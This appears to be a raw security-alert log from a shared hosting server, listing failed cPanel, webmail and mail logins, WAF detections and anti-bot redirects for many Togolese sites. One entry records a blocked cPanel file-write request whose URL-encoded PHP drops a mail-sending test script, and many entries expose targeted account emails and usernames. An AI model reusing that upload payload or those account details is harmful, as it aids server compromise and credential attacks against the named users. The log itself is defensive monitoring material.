205.169.39.58 - - [22/Jun/2026:09:46:24 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7248072&pdata=http%253A%252F%252Fwww.sinalcotg.snb.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782121583 HTTP/1.1" 302 0 www.sinalcotg.snb.tg "http://www.sinalcotg.snb.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - ebataka@caissederetraites.tg [06/22/2026:09:46:55 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: ebataka@caissederetraites.tg


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.122.162
country_id: 2363686
description:
2026-06-22 09:47:28 dovecot_login authenticator failed for H=(DESKTOPORGRALV) [196.170.122.162]:58269: 535 Incorrect authentication data


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.123.170.104
country_id: 6252001
description:
34.123.170.104 - - [22/Jun/2026:09:46:35 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6449003&pdata=http%253A%252F%252Fexpire.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782121592 HTTP/1.1" 302 0 expire.netmaster.tg "http://expire.netmaster.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.123.170.104


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 104.28.229.13
country_id: 2921044
description:
2026-06-22 09:47:33 dovecot_plain authenticator failed for H=(ue6gk5gvahrromusqpzm2a3mwu) [104.28.229.13]:35105: 535 Incorrect authentication data (set_id=sergdev@dgdn-togo.tg)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - equipesmq@inger.tg [06/22/2026:09:48:43 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: equipesmq@inger.tg


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.54
country_id: 2363686
description:
[2026-06-22 09:48:46 +0000] info [webmaild] 102.212.93.54 - equipesmq@inger.tg "GET /cpsess7346585440/3rdparty/roundcube/skins/elastic/deps/bootstrap.min.css?s=1774777731 HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.60] != Current IP Address [102.212.93.54]


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 102.212.93.52
country_id: 2363686
description:
[2026-06-22 09:49:02 +0000] info [webmaild] 102.212.93.52 - equipesmq@inger.tg "GET /cpsess7346585440/3rdparty/roundcube/?_task=mail&_action=compose HTTP/1.1" DEFERRED LOGIN webmaild: cookie ip check: IP address has changed: IP Address [102.212.93.60] != Current IP Address [102.212.93.52]


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 173.239.198.85
country_id: 6252001
description:
173.239.198.85 - - [22/Jun/2026:09:49:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120340&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782121769 HTTP/2.0" 302 0 www.snb.tg "https://www.google.com/" "Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:173.239.198.85


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 118.179.97.239
country_id: 1210997
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2024/05/3d0f8622fca5f144e1923d0a4225f125_L.jpg 500w, http:/togodailynews.tg/wp-content/uploads/2024/05/3d0f8622fca5f144e1923d0a4225f125_L-300x200.jpg 300w, http:/togodailynews.tg/wp-content/uploads/2024/05/3d0f8622fca5f144e1923d0a4225f125_L-272x182.jpg 272w HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 196.190.60.132
country_id: 337996
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/event/jeu-capsules-consommateurs-remise-lots-1 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.24.57.110
country_id: 3686110
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/special-journee-de-de-don-de-sang HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:09:55:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7052902&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782122148 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:09:55:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9990087&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782122147 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.149.228.154
country_id: 1835841
description:
Jun 22 09:59:28 ns5 auth[2360408]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.149.228.154 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.54.238.57
country_id: 2542007
description:
[2026-06-22 10:00:19 +0000] info [cpaneld] 102.54.238.57 - k.eklou "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user k.eklou (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.151.32
country_id: 2363686
description:
[2026-06-22 10:00:22 +0000] info [webmaild] 196.170.151.32 - ndadia.ev@inger.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 199.96.164.120
country_id: 6252001
domain: tdn.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:199.96.164.120||TA:199.96.164.120||


plugin: ossec
rule: 5555
name: User changed password.
description:
Jun 22 10:01:16 ns5 passwd[2373198]: pam_unix(passwd:chauthtok): password changed for bighostingsnbd


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.22.207.250
country_id: 1643084
description:
[2026-06-22 10:01:26 +0000] info [cpaneld] 160.22.207.250 - 2002281 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.151.32
country_id: 2363686
description:
[2026-06-22 10:00:30 +0000] info [webmaild] 196.170.151.32 - ndadia.ev@inger.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 213.195.3.51
country_id: 130758
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/lancement-bitter-lemon-by-chap HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 103.65.237.57
country_id: 1643084
description:
[2026-06-22 10:05:33 +0000] info [cpaneld] 103.65.237.57 - agrepay "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user agrepay (has_cpuser_file failed)


plugin: ossec
rule: 5555
name: User changed password.
description:
Jun 22 10:07:00 ns5 passwd[2377579]: pam_unix(passwd:chauthtok): password changed for bighostingsnbd


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.122.162
country_id: 2363686
description:
2026-06-22 10:07:15 dovecot_login authenticator failed for H=(DESKTOPORGRALV) [196.170.122.162]:62027: 535 Incorrect authentication data


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [22/Jun/2026:10:06:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6734748&pdata=http%253A%252F%252Fchuso.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782122789 HTTP/1.1" 302 0 chuso.tg "http://chuso.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"34.72.176.129" CAPTCHA:"0" PEER:172.69.17.156


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 139.59.138.122
country_id: 2921044
description:
2026-06-22 10:07:15 dovecot_login authenticator failed for H=(account.dgdn-togo.tg) [139.59.138.122]:37108: 535 Incorrect authentication data (set_id=contact@dgdn-togo.tg)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:10:13:23 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6592108&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782123198 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:10:13:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9738855&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782123195 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 47.245.134.150
country_id: 2921044
description:
Jun 22 10:17:49 ns5 pure-ftpd[2386554]: (?@47.245.134.150) [INFO] New connection from 47.245.134.150


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 204.168.130.219
country_id: 2921044
domain: cafe.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/133.0.0.0 Safari/537.36||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 181.46.164.238
country_id: 3865483
description:
2026-06-22 10:22:46 dovecot_plain authenticator failed for H=([69.172.210.47]) [181.46.164.238]:14134: 535 Incorrect authentication data (set_id=info@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.12.204.164
country_id: 3865483
description:
2026-06-22 10:23:03 dovecot_plain authenticator failed for H=([69.172.210.47]) [186.12.204.164]:8837: 535 Incorrect authentication data (set_id=admin@togointerim.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 79.106.123.232
country_id: 783754
description:
2026-06-22 10:23:18 dovecot_plain authenticator failed for H=([69.172.210.47]) [79.106.123.232]:43772: 535 Incorrect authentication data (set_id=support@togointerim.net)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.121.113
country_id: 1880251
description:
47.128.121.113 - - [22/Jun/2026:10:22:31 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7117672&pdata=https%253A%252F%252Ftogomedia24.tg%252Ftag%252Fgabon-septembre-2023%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782123750 HTTP/2.0" 302 0 togomedia24.tg "https://togomedia24.tg/tag/gabon-septembre-2023/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.121.113


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 176.236.239.24
country_id: 298795
description:
2026-06-22 10:23:45 dovecot_plain authenticator failed for H=([69.172.210.47]) [176.236.239.24]:60204: 535 Incorrect authentication data (set_id=contato@togointerim.net)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 204.101.161.15
country_id: 6251999
description:
204.101.161.15 - - [22/Jun/2026:10:24:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6448026&pdata=https%253A%252F%252Fcpcalendars.afrique-distribution.net&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782123855 HTTP/2.0" 302 0 cpcalendars.afrique-distribution.net "https://cpcalendars.afrique-distribution.net/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:204.101.161.15


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.20
country_id: 2921044
description:
185.220.101.20 - - [22/Jun/2026:10:25:29 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9935201&pdata=https%253A%252F%252Fcafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782123927 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.20


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 185.220.101.20
country_id: 2921044
description:
185.220.101.20 - - [22/Jun/2026:10:25:32 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9606811&pdata=https%253A%252F%252Fcafe.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782123931 HTTP/2.0" 302 0 cafe.tg "https://cafe.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:185.220.101.20


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:10:28:06 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13341593&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782124083 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:10:28:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7116906&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782124085 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.58
country_id: 6252001
description:
205.169.39.58 - - [22/Jun/2026:10:29:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9856876&pdata=http%253A%252F%252Fexpire.netmaster.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782124189 HTTP/1.1" 302 0 expire.netmaster.tg "http://expire.netmaster.tg/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.58


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.187.71.148
country_id: 2464461
description:
[2026-06-22 10:30:20 +0000] info [cpaneld] 196.187.71.148 - cafetg "GET /execute/Fileman/list_files?dir=/ HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 82.39.236.227
country_id: 6252001
domain: www.arse.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.arse.tg/wp-content/uploads/2014/09/Liste-de-pr\xc3\xa9sence.pdf HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 195.63.18.163
country_id: 6251999
description:
[2026-06-22 10:34:09 +0000] info [cpaneld] 195.63.18.163 - ygeaivhj "POST /execute/Fileman/save_file_content?dir=public_html&path=public_html&from_charset=UTF-8&content=%3C%3Fphp+%24s+%3D+%22false%22%3Bif+%28mail%28%24_COOKIE%5B%22email_send_id%22%5D%2C%22Cp+Send+%23%22.%24_COOKIE%5B%22it_id%22%5D%2C%22Cp+Send+Working+..+%23%22.%24_COOKIE%5B%22it_id%22%5D.%22%5CnHash%3A+%22.md5%28time%28%29.uniqid%28%29%29%29%29+%7B%24s+%3D+%22true%22%3B%7Decho+%24s%3B%3F%3E&file=test123Cp.php&file_name=test123Cp.php HTTP/1.1" FAILED LOGIN cpaneld: User ygeaivhj has their account suspended. Login blocked.


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 92.113.129.249
country_id: 2077456
domain: ave2.mairie.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:92.113.129.249||TA:92.113.129.249||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.215.65.170
country_id: 6252001
description:
[2026-06-22 10:35:06 +0000] info [cpaneld] 181.215.65.170 - togoinrdceh "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - support@cloud-et-racks.tg [06/22/2026:10:36:16 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: support@cloud-et-racks.tg


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.148.251
country_id: 2363686
description:
2026-06-22 10:36:22 dovecot_login authenticator failed for H=(Yoga) [102.64.148.251]:57217: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.215.65.170
country_id: 6252001
description:
[2026-06-22 10:35:54 +0000] info [cpaneld] 181.215.65.170 - dev03 "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user dev03 (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 107.175.56.123
country_id: 6252001
domain: educplusmedia.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:107.175.56.123||TA:107.175.56.123||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 181.215.65.170
country_id: 6252001
description:
[2026-06-22 10:38:40 +0000] info [cpaneld] 181.215.65.170 - web_tv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user web_tv (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.167.114.186
country_id: 3625428
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/ae9e7f HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.64.148.251
country_id: 2363686
description:
2026-06-22 10:43:11 dovecot_login authenticator failed for H=(Yoga) [102.64.148.251]:55886: 535 Incorrect authentication data (set_id=contactcert@certlogisticstogo.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:10:43:17 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10184554&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782124994 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:10:43:18 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6932070&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782124993 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.114.33.108
country_id: 3895114
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/c2b19d HTTP/1.1||RSV:8.19||T:APACHE||


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 103.165.169.119
country_id: 1269750
domain: selithgroup.com
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.19||T:APACHE||RA:103.165.169.119||TA:103.165.169.119||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 2a01:239:436:3300::1
country_id: 2921044
description:
[2026-06-22 10:53:12 +0000] info [cpaneld] 2a01:239:436:3300::1 - yxhnfwxr "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.225.112.187
country_id: 1880251
description:
2026-06-22 10:53:43 dovecot_plain authenticator failed for H=(localhost) [165.225.112.187]:64956: 535 Incorrect authentication data (set_id=rappels@mesyscom.com)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 81.53.36.105
country_id: 3017382
description:
81.53.36.105 - - [22/Jun/2026:10:56:37 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10208661&pdata=https%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782125796 HTTP/2.0" 302 0 afrique-distribution.net "https://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:81.53.36.105


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 103.108.92.91
country_id: 2077456
description:
103.108.92.91 - - [22/Jun/2026:10:56:47 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7103640&pdata=http%253A%252F%252Fafrique-distribution.net%252Frosjhg.html&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782125802 HTTP/1.1" 302 0 afrique-distribution.net "http://afrique-distribution.net/rosjhg.html" "Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Mobile Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:103.108.92.91


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.22.207.250
country_id: 1643084
description:
[2026-06-22 11:01:02 +0000] info [cpaneld] 160.22.207.250 - 2002281 "POST //login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid user name specified


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 154.70.82.245
country_id: 2363686
description:
2026-06-22 11:01:23 dovecot_login authenticator failed for H=(cloud.netmaster.tg) [154.70.82.245]:35452: 535 Incorrect authentication data (set_id=support@cloud-et-racks.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 157.85.206.199
country_id: 1643084
description:
[2026-06-22 11:01:46 +0000] info [cpaneld] 157.85.206.199 - masfloy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.47.26.134
country_id: 357994
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/611161393 HTTP/1.1||RSV:8.19||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 93.177.118.122
country_id: 2017370
description:
93.177.118.122 - - [22/Jun/2026:11:03:14 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9934994&pdata=https%253A%252F%252Fwww.snb.tg%252Fhome&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782126192 HTTP/2.0" 302 0 www.snb.tg "https://www.snb.tg/home" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:93.177.118.122


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 116.212.153.138
country_id: 1831722
description:
116.212.153.138 - - [22/Jun/2026:11:03:25 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7051163&pdata=https%253A%252F%252Fucao-uut.tg%252Fadmissions%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1782126203 HTTP/2.0" 302 0 ucao-uut.tg "https://ucao-uut.tg/admissions/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:116.212.153.138


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.234.232.27
country_id: 3608932
domain: togodailynews.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-19-at-12.29.53.jpeg 1080w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-19-at-12.29.53-300x200.jpeg 300w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-19-at-12.29.53-1024x683.jpeg 1024w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-19-at-12.29.53-768x512.jpeg 768w, http:/togodailynews.tg/wp-content/uploads/2023/11/WhatsApp-Image-2023-11-19-at-12.29.53-272x182.jpeg 272w HTTP/1.1||RSV:8.19||T:APACHE||
